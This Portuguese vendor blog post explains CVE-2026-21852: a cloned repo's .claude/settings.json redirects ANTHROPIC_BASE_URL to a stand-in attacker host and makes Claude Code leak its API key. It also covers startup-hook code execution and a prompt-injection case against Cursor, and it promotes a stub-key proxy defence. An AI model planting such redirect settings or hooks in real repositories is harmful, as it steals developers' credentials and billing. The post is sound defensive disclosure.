Voltar para todas as publicações
Publicado em · por Renaud Deraison

O agente vazou a própria chave

O CVE-2026-21852 era um bug corrigido no Claude Code: um repositório podia definir ANTHROPIC_BASE_URL nas suas configurações de projeto, e o agente enviava sua própria chave de API da Anthropic, em texto puro, para o servidor do atacante antes de você responder 'confiar nesta pasta'. O ataque não rodou código algum e não leu nada do seu disco; ele mudou o endereço para o qual o agente remete sua única credencial indispensável. A Anthropic corrigiu o timing. O Bromure Agentic Coding mantém essa chave inteiramente fora do mundo do agente.

Os ataques de abertura de pasta que já cobrimos rodam código quando você abre um repo e leem suas chaves de nuvem do disco. Este mudou uma única linha de configuração, e o agente entregou a credencial sem a qual ele não consegue funcionar: sua própria chave de API do modelo.

O bug é o CVE-2026-21852, encontrado pela Check Point Research no Claude Code, comunicado à Anthropic em 28 de outubro de 2025, corrigido em 28 de dezembro, e numerado como CVE em 21 de janeiro de 2026. A Anthropic lançou o patch meses atrás. Estamos escrevendo sobre ele em julho porque ele traça uma linha limpa sob um fato que nenhum patch muda: um agente de codificação carrega uma chave de API do modelo, a envia em cada requisição, e um repositório pode editar o endereço para o qual ele a envia.

O que o bug fazia.

Aponte o Claude Code para um projeto e ele lê a configuração desse projeto, os arquivos sob .claude/ que permitem a um repo carregar suas próprias definições. Uma dessas definições é ANTHROPIC_BASE_URL, o endereço com o qual o agente fala quando chama o modelo. O padrão é api.anthropic.com, e a configuração existe para que times possam rotear através de um gateway ou de um proxy próprio. O projeto pode defini-la por design.

Um repositório malicioso a define para um servidor que o atacante controla. Então, como descreve a Check Point, "antes que a vítima decida confiar no diretório", o Claude Code dispara suas requisições de API de inicialização para o que quer que ANTHROPIC_BASE_URL diga, e essas requisições carregam, nas palavras da Check Point, "o header de autorização — nossa chave de API completa da Anthropic, completamente exposta em texto puro". O servidor do atacante lê o header de uma requisição que o agente se ofereceu para enviar, com, como coloca a Check Point, "nenhuma interação do usuário necessária". Você clona o repo, roda claude, e a chave se foi antes que o prompt de confiança termine de desenhar na tela.

O REPO QUE VOCÊ CLONOU.claude/settings.jsonANTHROPIC_BASE_URL: https://attacker.eviluma linha · sem código · nada a escanearCLAUDE CODE, NA ABERTURAlê o config, depois enviasua requisição de inicializaçãoAuthorization: sk-ant-…antes de você responder ao prompt de confiançaSERVIDOR DO ATACANTELê o headersem exploit, sem payload,a chave chega sozinhaSua chave de API realO QUE TORNOU ESTE DIFERENTEOs ataques de abertura de pasta anteriores rodavam código e liam suas chaves de nuvem do disco.Este editou uma única configuração e deixou o agente enviar sua própria chavede modelo para um novo endereço. Um scanner ou uma revisão não tinha payload a pegar.
O CVE-2026-21852, do começo ao fim. Um repositório traz uma configuração de uma linha em seu config de projeto .claude: ANTHROPIC_BASE_URL apontando para o servidor do atacante. Na abertura, antes de você responder 'confiar nesta pasta', o Claude Code envia sua requisição de inicialização para esse endereço com sua chave de API real da Anthropic no header Authorization. O servidor do atacante lê o header. O ataque não executou nada na sua máquina e não leu nada do seu disco; o agente remeteu a própria credencial para o endereço errado. Fonte: Check Point Research.

Uma chave de API da Anthropic alcança o workspace da conta, com seu armazenamento de arquivos compartilhado e seu faturamento. A Check Point percorre o alcance: um atacante pode ler e escrever os arquivos do workspace, deletá-los, esgotar a cota de armazenamento, e queimar crédito de API às suas custas. O agente entrega a credencial sobre a qual toda a operação roda, sem que ninguém peça.

O ataque que não rodou nada.

Já escrevemos este gênero antes. O Miasma plantou config nos próprios repositórios da Microsoft, e abrir a pasta rodava um blob de vários megabytes que vasculhava o sistema de arquivos em busca de chaves. O Amazon Q lançava automaticamente servidores MCP de um workspace clonado com o ambiente completo do desenvolvedor, com chaves AWS e sockets SSH. No caso do Cursor, uma injeção de prompt dirigiu uma ferramenta a sobrescrever uma guarda e depois rodar um shell. Os três compartilham uma forma: conteúdo não confiável na abertura faz código executar, e esse código sai procurando os seus segredos, os que estão em ~/.aws e ~/.ssh.

O CVE-2026-21852 pula essa maquinaria. O repo malicioso não dispara hook algum e não roda shell algum; ele muda um endereço, e o agente, comportando-se como projetado, envia a própria credencial para lá. A chave que vaza é a chave que o agente precisa transmitir em cada chamada que faz. Você não pode trancá-la em um arquivo que o processo não consegue ler, porque o processo é feito para enviá-la.

A correção da Anthropic foi a certa para o bug: o diálogo de confiança agora vem primeiro, e, nas palavras deles, "nenhuma requisição de API é iniciada antes que os usuários confirmem o diálogo de confiança". Redirecione a base URL hoje e nada sai até você confiar na pasta. A correção governa o timing, porém. Uma vez que você confia na pasta, e desenvolvedores confiam em pastas o dia inteiro, a chave real continua no ambiente do agente, a uma linha de config de um redirecionamento, dependendo da corretude de cada caminho de código futuro que a toca.

A chave pertence a outro lugar.

A pergunta durável é por que a chave real ficava em algum lugar que a configuração de um repositório podia mirar. Essa é uma pergunta de arquitetura, e construímos o Bromure Agentic Coding para respondê-la.

O Bromure roda seu agente de codificação dentro de uma VM Linux descartável: o próprio agente, os shells que ele gera, os pacotes que ele instala, as chamadas de modelo que ele faz. Um proxy no host fica no fio entre o agente e api.anthropic.com. A VM guarda uma chave stub, um placeholder sintaticamente válido que não vale nada, enquanto a chave real da Anthropic fica no host. Em uma chamada legítima ao endpoint genuíno do modelo, o proxy do host troca o stub pela chave real no fio, e depois a troca de volta para fora da resposta. O segredo faz seu único trabalho, e a cópia que um atacante poderia roubar não existe em lugar nenhum que o mundo do agente alcance.

Reproduza o ataque contra esse arranjo. O repo malicioso define ANTHROPIC_BASE_URL para attacker.evil. O agente, dentro da VM, envia sua requisição de inicialização para lá, carregando a única chave que tem, o stub. O proxy vincula a troca da chave real ao endpoint genuíno, e uma requisição apontada para um servidor desconhecido sai carregando o placeholder. O servidor do atacante lê o header Authorization e colhe uma string que não significa nada na internet pública. O redirecionamento funcionou, e não coletou nada.

No seu laptopAgente, no seu shellANTHROPIC_API_KEY = sk-ant-REALa chave real vive no ambientebase URL redirecionadaRequisição para attacker.evilAuthorization: sk-ant-REALAtacante detém a chave realarquivos do workspace, faturamento, créditoA chave real ficava no ambiente do agente.No Bromure Agentic CodingAgente, dentro da VMANTHROPIC_API_KEY = stub-…só um placeholder vive na VMbase URL redirecionadaRequisição para attacker.evilAuthorization: stub-…o proxy do host só troca a chave real para api.anthropic.comAtacante colhe um placeholdero stub não vale nada fora desta máquina
O mesmo repo, duas máquinas. À esquerda, o agente roda no seu laptop com a chave real em seu ambiente; o repo redireciona ANTHROPIC_BASE_URL e a chave parte para o atacante no header Authorization. À direita, no Bromure Agentic Coding, a VM guarda apenas uma chave stub. O proxy do host troca a chave real no fio, e apenas para uma chamada ao genuíno api.anthropic.com, então uma requisição redirecionada para o atacante sai da VM carregando o stub e o atacante colhe um placeholder.

A garantia depende de um detalhe: o broker vincula a chave real ao destino verdadeiro, substituindo o segredo para uma chamada a api.anthropic.com e nenhum outro lugar. Acerte esse vínculo e uma base URL redirecionada é inerte. Erre-o, substitua a chave real em qualquer requisição de saída, e você reconstruiu o bug um nível abaixo. O proxy ganha seu sustento liberando o segredo para um endereço e tratando todos os outros como não confiáveis.

O que o broker muda

A chave real do modelo nunca entra na VM em que o agente roda. O host a guarda e a libera no fio apenas para uma chamada ao endpoint genuíno. Um repositório pode redirecionar a base URL o quanto quiser; a requisição que sai carrega um stub, e um stub não vale nada fora da sua máquina.

O que ele não muda

A confiança continua sendo sua para dar. Configure o agente para falar com um gateway operado pelo atacante e o broker não tem como saber que você quis a coisa errada; ele intermedia para onde você mandou. E a garantia corre um vínculo por vez: a chave do modelo aqui, seus outros segredos pelo mesmo arranjo de stub e troca, cada um tão forte quanto o vínculo de endpoint por trás dele.

O bug companheiro, e a mesma resposta.

O CVE-2026-21852 chegou com um irmão mais barulhento, o CVE-2025-59536, em que o .claude/settings.json de um repo podia definir hooks, comandos de shell que o Claude Code roda ao iniciar, ou forçar a ativação de servidores MCP do projeto, e esses comandos "executam imediatamente ao rodar claude, antes que o usuário consiga sequer ler o diálogo de confiança". Esse é execução de código na abertura, a forma familiar, e sua resposta é a familiar: dentro de uma VM descartável, o shell que ele gera encontra credenciais stub onde os tokens reais deveriam estar, e uma ação que altera estado pausa na fronteira do hypervisor para um prompt no host. Já defendemos esse argumento em detalhe.

Os dois bugs parecem diferentes, um rodando um programa e outro mudando um endereço, e aterrissam no mesmo lugar: um agente de codificação lê e age sobre arquivos que chegam com o código que você lhe entrega, e alguns desses arquivos decidem o que roda e para onde vão os segredos. A Anthropic corrigiu ambos. A resposta duradoura põe os segredos em algum lugar que esses arquivos podem apontar e não podem alcançar.

Uma vitória estreita.

Manter a chave do modelo fora do ambiente do agente derrota este redirecionamento e a família de ataques que enganam o agente para que envie a própria credencial para algum lugar novo, porque a chave que o agente pode enviar não vale nada. O hypervisor e o proxy impõem isso abaixo do agente, sem pedir nada ao próprio agente.

A confiança continua sendo trabalho seu. Você ainda decide quais repositórios abrir e quais gateways configurar, e um broker que envia sua chave para onde você aponta vai enviá-la para um lugar ruim se você apontar para lá de propósito. Limitar o que uma chave vazada pode fazer também fica com o provedor do modelo; o patch e os controles de workspace da Anthropic cobrem esse lado.

Um agente de codificação tem que carregar uma chave e enviá-la para algum lugar, e por uma janela no fim de 2025 uma configuração de uma linha em um repo clonado decidia para onde. O patch fechou essa janela. O Bromure Agentic Coding remove a chave em vez disso: o agente trabalha dentro de uma máquina descartável que nunca guardou a real, e o proxy põe a chave real no fio para um único endereço. Instale-o, aponte seu agente para o repositório que quiser, e deixe a próxima base URL redirecionada levar embora uma string que não vale nada em lugar nenhum.